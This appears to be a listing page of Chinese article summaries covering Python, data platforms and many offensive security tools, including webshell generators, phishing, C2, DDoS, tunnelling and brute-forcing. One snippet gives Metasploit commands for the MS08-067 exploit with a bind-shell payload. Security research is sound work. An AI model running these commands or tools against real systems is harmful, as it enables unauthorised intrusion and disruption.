笔者最早接触滑动窗口是滑动窗口协议，滑动窗口协议（Sliding Window Protocol），属于 TCP 协议的一种应用，用于网络数据传输时的流量控制，以避免拥塞的发生。发送方和接收方分别有一个窗口大小 w1 和 w2。窗口大小可能会根据网络流量的变化而有所不同，但是在更简单的实现中它们是固定的。窗口大小必须大于零才能进行任何操作。
关于Graphicator Graphicator上一款功能强大的GraphQL枚举与提取工具，该工具可以对目标GraphQL节点返回的内部文档进行迭代，然后以内部形式重新构建数据模式，以便重新创建支持的查询。创建此类查询时，将使用它们向GraphQL节点发送请求，并将返回的响应保存到文件中。 工具不会保存错误的响应数据，默认情况下，该工具会缓存正确的响应，也会缓存错误，因此当重新运行该工具时，它不会再次进入相同的查询。 该工具旨在帮助广大研究人员以自动化的形式处理自己的渗透测试流程，并为针对Grap
关于MSMAP MSMAP是一款功能强大的内存WebShell生成工具，该工具提供了各种容器、组件、编码器、WebShell、代理和管理客户端等工具，可以帮助广大研究人员更好地生成、管理和使用WebShell。 工具功能 1、动态菜单 2、自动补全 3、脚本生成 4、轻量级模式 5、图形化接口 容器 Java：Tomcat7、Tomcat8、Tomcat9、Tomcat10、Resin4、Sping*、JVM*；.NET：IIS；PHP Python WebShell/代理 CMD /
在CDH集群中所有节点/opt/cloudera/anaconda3部署了Python3的安装包，如下描述：
对Sql比较了解的同学，应该都听过Sql中的窗口函数，感觉掌握了窗口函数就可以说自己精通Sql了，在Python中也有类似的窗口函数。
SocialFish是一款功能强大的网络钓鱼测试与信息收集工具，在该工具的帮助下，广大研究人员可以轻松执行网络钓鱼测试或完成信息收集工作，企业安全管理人员也可以使用该工具来对员工进行安全意识培训。
在前面Fayson介绍了在Python2的环境下《如何使用Python Impyla客户端连接Hive和Impala》及《Python3环境通过JDBC访问非Kerberos环境的Hive》，本篇文章Fayson在Python3的环境下使用Impyla访问非Kerberos环境下的Impala以及将获取到的结果集转换为Pandas的DataFrame。
Jupyter Notebook是一个Web应用程序，允许你创建和分享，包含实时的代码，可视化和解释性文字。常用于数据的清洗和转换、数值模拟、统计建模、机器学习和更多，支持40多种语言。python ，R，go，scala等。Jupyter Notebook是Python中的一个包，在Fayson前面的文章《如何在CDH集群上部署Python3运行环境及运行Python作业》介绍了在集群中部署Anaconda，该Python环境自带了Jupyter的包。本篇文章Fayson主要介绍如何在非安全的CDH集群中部署Jupyter Notebook并与Spark2集成。
关于Domain Analyzer Domain Analyzer是一款针对域名安全的强大安全分析工具，该工具能够以自动化的形式寻找和报告和给定域名相关的信息。该项目的主要目的是帮助广大研究人员以无人值守的形式分析目标域名的安全问题。除此之外，该工具还包含很多其他的功能，比如说从DNS空间获取更多的域名、自动化的Nmap和Web爬虫等。 如果你想要让Nmap扫描更多的端口，或运行脚本，或在目标站点运行Web爬虫的话，还需要使用root权限。 功能特性 Domain Analyzer可以寻找与给定域名
Man Group量化团队近期出了10道Python编程题，来考考大家的基本功究竟怎么样。
二更此文，是因为公司换电脑后出于安全角度，将微软商店做了很多限制，导致无法通过微软商店下载WSL的软件，所以针对这个部分做了调整。
z9是一款功能强大的PowerShell恶意软件检测与分析工，该工具可以帮助广大研究人员从PowerShell日志的事件记录中检测基于PowerShell实现的恶意软件组件。
调试Python程序时，经常会报出一些异常，异常的原因一方面可能是写程序时由于疏忽或者考虑不全造成了错误，这时就需要根据异常Traceback到出错点，进行分析改正；另一方面，有些异常是不可避免的，但我们可以对异常进行捕获处理，防止程序终止。
Infoga是一款针对针对电子邮件的公开资源情报工具（OSINT），该工具能够从各种公开源（搜索引擎、PGP密钥服务器和Shodan）收集电子邮件帐号信息，其中包括IP地址、主机名和国家信息等，并使用haveibeenpwned.com API来检测目标电子邮件是否泄漏。该工具是一个简单且强大的工具，该工具在渗透测试的早期阶段作用非常大，你也可以使用该工具来了解你们公司在互联网上的知名度。
在前面Fayson介绍了在Python2的环境下《如何使用Python Impyla客户端连接Hive和Impala》，本篇文章Fayson主要介绍在Python3的环境下使用Impyla访问非Kerberos环境下的Hive以及将获取到的结果集转换为Pandas的DataFrame。
关于Nettacker Nettacker是一款集渗透测试、开源漏洞扫描和漏洞管理于一身的自动化工具，该工具全称为OWASP Nettacker，旨在以自动化的形式执行信息收集、渗透测试和漏洞扫描等安全任务，并自动生成最终的安全分析报告。报告内容包括目标应用程序的服务、错误、漏洞、错误配置和其他信息。 Nettacker支持利用TCP SYN、ACK、ICMP和许多其他协议来检测和绕过防火墙/IDS/IPS设备。广大研究人员可以通过利用OWASP Nettacker中的独特方法来发现受保护的服务和设备，
今天很有可能你已经做了一些使用滑动窗口(也称为移动窗口)的事情，而你甚至不知道它。例如：许多编辑算法都是基于移动窗口的。在GIS中做地形分析的大多数地形栅格度量(坡度、坡向、山坡阴影等)都基于滑动窗口。很多情况下，对格式化为二维数组的数据进行分析时，都很有可能涉及到滑动窗口。
关于Enumdb Enumdb是一款针对MySQL和MSSQL关系型数据库的安全渗透后利用工具，该工具主要针对关系型数据库设计，并支持暴力破解和后利用渗透测试。广大研究人员可以提供一个用户名或密码列表，该工具将会在每个主机中寻找能够匹配的有效凭证。默认配置下，Enumdb将会使用新发现的凭证信息，并通过对表或列名的关键字搜索来自动搜索敏感数据字段，最后将所有信息提取出来并写入到.csv或.xlsx输出文件中。 需要提取的数据行数、数据库/表黑名单和搜索的关键字都可以在enumdb/config.py文件中
河道船舶识别检测系统通过ppython+YOLOv5网络模型算法技术，河道船舶识别检测系统对画面中的船只进行7*24小时实时监测，若发现存在进行违规采砂或者捕鱼立即自动抓拍触发告警。与C / C++等语言相比，Python速度较慢。也就是说，Python可以使用C / C++轻松扩展，这使我们可以在C / C++中编写计算密集型代码，并创建可用作Python模块的Python包装器。这给我们带来了两个好处：首先，代码与原始C / C++代码一样快（因为它是在后台工作的实际C++代码），其次，在Python中编写代码比使用C / C++更容易。OpenCV-Python是原始OpenCV C++实现的Python包装器。Python是一种由Guido van Rossum开发的通用编程语言，它很快就变得非常流行，主要是因为它的简单性和代码可读性。它使程序员能够用更少的代码行表达思想，而不会降低可读性。
关于wifi_db wifi_db是一款功能强大的数据解析脚本，该脚本可以将Aircrack-ng数据解析至一个SQLite数据库中，并提取出类似握手包、MGT识别信息、AP信息、客户端信息、探针信息、WPS信息和AP全局概览等有价值的数据。 功能介绍 1、显示隐藏网络信息； 2、显示已连接客户端及其各自AP的详细数据； 3、识别连接到AP的客户端探针，从而深入了解流氓AP的潜在安全风险； 4、提取握手信息，并在hashcat中使用以方便破解密码； 5、显示来自企业网络的身份信息，包括用于身份验证的
关于Tunna Tunna是一个由多种工具组成的工具箱，Tunna可以通过HTTP来封装和传输任何TCP流量，值得一提的是，Tunna的所有流量支持绕过部署了完整防火墙系统的网络环境中的任何网络安全限制。毫无疑问，该工具对红队和蓝队研究人员的渗透测试与安全研究活动将非常有用。 简而言之，Tunna就是一个可以通过HTTP来隧道TCP连接的强大工具。 工具运行机制 在一个完全防火墙（入站和出站连接受限-Web服务器端口除外）环境中，Webshell可以用来连接到远程主机上的任何服务，这种连接使用的
“跳一跳”外挂编写 前言 2018年第一天，咱们就拿小游戏开刀。“跳一跳”小游戏最近非常火，不得不服腾讯的脑洞。。。 微信已经开始重视小程序的入口释放了，感觉这将成为微信新的增长点，而且其“野
在移动端应用中，基于简便的原因，用户通常会倾向于使用滑动操作来达到与应用程序中的控件进行交互的，这使得滑动成为自动化测试中频繁使用的关键动作。在 Appium 中提供了多种方式来实现模拟用户的滑动屏幕动作。
即：print个函数中有若干个具有默认值的参数，即便我们在调用这个函数的时候，就算没有指定它们，它们也存在于此。
Prowler是一款功能强大的分布式网络漏洞扫描工具，该工具可以在一个树莓派集群上实现其功能。在该工具的帮助下，广大研究人员可以轻松对目标网络执行安全扫描、收集设备指纹、查看开放端口和常用服务、以及常规的安全漏洞扫描等等。
因为要找最长连续 1 子数组的长度，所以我们只需要遍历一次，记录每段连续 1 的长度；如果遇到 0，就更新当前最大长度，然后当前长度清零，继续向后遍历。时间复杂度为 O(n)。
点击上方蓝字“ITester软件测试小栈“关注我，每周一、三、五早上 08:30准时推送，每月不定期赠送技术书籍。
Fayson在前一篇文章《如何在非安全的CDH集群中部署Jupyter并集成Spark2》中介绍了Jupyter Notebook的部署与Spark2集成。Jupyter提供的类似单机版Web服务，不能供给多个用户使用，对于个人用户可以满足需求，对于企业用户则相对麻烦。本篇文章Fayson主要介绍如何使用JupyterHub部署支持多用户的Jupyter Notebook服务并与集群的Spark2集成。
KoodousFinder是一款功能强大的Android应用程序安全工具，在该工具的帮助下，广大研究人员可以轻松对目标Android应用程序执行安全研究和分析任务，并寻找出目标应用程序中潜在的安全威胁和安全漏洞。
Dynmx是一款功能强大的基于签名的恶意软件功能检测工具，该工具实现了一种基于Windows API调用序列来检测恶意软件特征和行为的方法，这也是一种基于签名的安全检测方法。在该工具的帮助下，广大研究人员可以将Dynmx视作某种YARA规则，并利用它在恶意软件沙箱环境中实现API调用跟踪。
关于Whapa Whapa是一款功能强大的WhatsApp消息解析和取证工具，该工具提供了友好的图形化界面，该工具可以帮助广大研究人员分析Android和iOS设备上WhatsApp的通信数据。该工具的所有组件都采用了Python 3.8开发，并在Linux、Windows和macOS操作系统上进行过完整测试。 需要注意的是，Whapa在Linux操作系统上的性能是Windows系统上的十倍，而且Bug更少。而且Whapa是Tsurugi Linux（数字取证）和BlackArch Linux（渗透测试
本文分享自 Linux 视野。滑动式验证码现在使用越来越广泛了，关于怎么攻克的文章之前看到的不多，这篇提供了一个思路。 作者：fantlam 来源：http://www.linuxsight.com/blog/95657 1 abstract 验证码作为一种自然人的机器人的判别工具，被广泛的用于各种防止程序做自动化的场景中。传统的字符型验证安全性已经名存实亡的情况下，各种新型的验证码如雨后春笋般涌现。目前最常见的一种形式就是"滑动拼图式" 2 内容概述 关于滑动式验证，最早由国内某网络安全公司首次
✦ Python入门推荐 ✦ 1 每天5分钟：Python基础视频教程 在很多人眼里，程序员是一个神秘的职业，编程更是深不可测的世界。对编程充满了向往和好奇，但是又苦于找不到入门的方法。本套课程就是为了这些人准备的，通过学习Python语言，打开编程世界的大门。 300分钟视频教学，仅售9.9元 向下滑动查看详情 ▼ 扫码订阅 ▼ 2 看漫画学Python入门学习视频 同名图书配套讲解视频。还觉得只能枯燥无味地学编程吗？本视频以漫画形式展现，让你更直观、生动了解到什么是编程。 600分钟配套讲解视
0x01MS08-067 RPC远程缓冲区溢出导致的远程代码执行漏洞 适用：Windows 2000;XP;Server 2003;Vista;Server 2008;7 Beta use exploit/windows/smb/ms08_067_netapi #使用模块set rhosts 172.16.5.27 #设置靶机ipset lhost 172.16.5.28 #设置本地ipset payload generic/shell_bind_tcp #设置pay
Commander是一款功能强大的命令与控制C2服务器框架，在该工具的帮助下，广大红队和蓝队研究人员可以轻松部署自己的C2组件。该工具基于Python开发、Flask和SQLite开发，并提供了Python和C版本的代理。
前面Fayson介绍了Cloudera的产品CDSW(Cloudera Data Science WorkBench)的安装及示例代码的运行，在《如何基于CDSW基础镜像定制Docker》中已经介绍了Docker镜像的定制，在这里我们基于CDSW1.2.2的基础镜像来再次描述下。
当我们在跑机器学习程序，尤其是调节网格参数时，通常待调节的参数有很多，参数之间的组合更是复杂。Python的sklearn包中GridSearch模块，能够在指定的范围内自动搜索具有不同超参数的不同模型组合，在数据量过于庞大时对于单节点的运算存在效率问题，本篇文章Fayson主要介绍如何将Python中的GridSearch搬到CDH集群中借助于Spark进行分布式运算。
xnLinkFinder是一款基于Python 3开发的网络节点发现工具，在该工具的帮助下，广大研究人员只需要提供一个目标网络地址，xnLinkFinder就能够发现其中的网络节点。
Lease Absolute Shrinkage and Selection Operator（LASSO）在给定的模型上执行正则化和变量选择
滑动查看真实内心OS 滑动查看真实内心OS 滑动查看真实内心OS 滑动查看真实内心OS 滑动查看真实内心OS 滑动查看真实内心OS 滑动查看真实内心OS 滑动查看真实内心OS 滑动查看真实内心OS ---- 推荐阅读： 直播进行中 | 腾讯会议全栈音频技术实践分享 写 Python 到底用什么编辑器好？鹅厂程序猿吵翻了
关于RDPY RDPY是一款功能强大的RDP远程桌面协议实现工具，该工具基于纯Python开发，并提供了完整的客户端和服务器端应用程序。 RDPY基于事件驱动的网络引擎Twisted构建，RDPY支持标准RDP安全层、RDP over SSL和NLA认证（通过ntlmv2认证协议）。 RDPY提供了下列RDP和VNC代码： 1、RDP中间人代理（用于记录会话）； 2、RDP蜜罐； 3、RDP截图工具； 4、RDP客户端； 5、VNC客户端； 6、VNC截图工具； 7、RSS Pl
MHDDoS是一款功能强大的DDoS服务器/站点安全测试工具，该工具包含56种技术，可以帮助广大研究人员对自己的服务器或网站执行DDoS安全测试。
在前面的文章Fayson介绍了《如何在CDH中使用PySpark分布式运行GridSearch算法》，本篇文章Fayson主要介绍如何在CDSW上向CDH集群推送Gridsearch算法进行分布式计算。
本次多层网络域渗透项目旨在模拟红队攻击人员在授权情况下对目标进行渗透，从外网打点到内网横向穿透，最终获得整个内网权限的过程，包含Log4j2漏洞，MS17-010，CVE-2020-1472，CVE-2021-42287/CVE-2021-42278以及一些痕迹清理的思路等等。 文中若有不当之处，还望各位大佬多多点评。 请注意： 本文仅用于技术讨论与研究，对于所有笔记中复现的这些终端或者服务器，都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目
很多读者看过之前的文章，发现我使用最多的是一款 Airtest 的自动化测试框架。
在进行程序设计的时候，我们会经常进行逻辑判断，根据不同的结果做不同的事，或者重复做某件事，我们对类似这样的工作称为流程控制
DorXNG是一款功能强大的现代OSINT信息收集工具，该工具可以利用高级搜索引擎操作符并通过多个上游搜索服务提供商来收集各种公开资源情报（OSINT）信息。DorXNG的后端利用了一个专门构建的SearXNG容器化镜像，而SearXNG则是一个自托管的、可攻击的、针对隐私数据的元数据搜索引擎。
AI+明厨亮灶解决方案通过python+yolo网络模型分析算法，AI+明厨亮灶解决方案可接对后厨实现如口罩识别、厨师服穿戴、夜间老鼠监测、厨师帽识别、厨师玩手机打电话识别、抽烟识别等实时分析监测。Python是一种由Guido van Rossum开发的通用编程语言，它很快就变得非常流行，主要是因为它的简单性和代码可读性。它使程序员能够用更少的代码行表达思想，而不会降低可读性。与C / C++等语言相比，Python速度较慢。也就是说，Python可以使用C / C++轻松扩展，这使我们可以在C / C++中编写计算密集型代码，并创建可用作Python模块的Python包装器。这给我们带来了两个好处：首先，代码与原始C / C++代码一样快（因为它是在后台工作的实际C++代码），其次，在Python中编写代码比使用C / C++更容易。OpenCV-Python是原始OpenCV C++实现的Python包装器。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
实时音视频
即时通信 IM
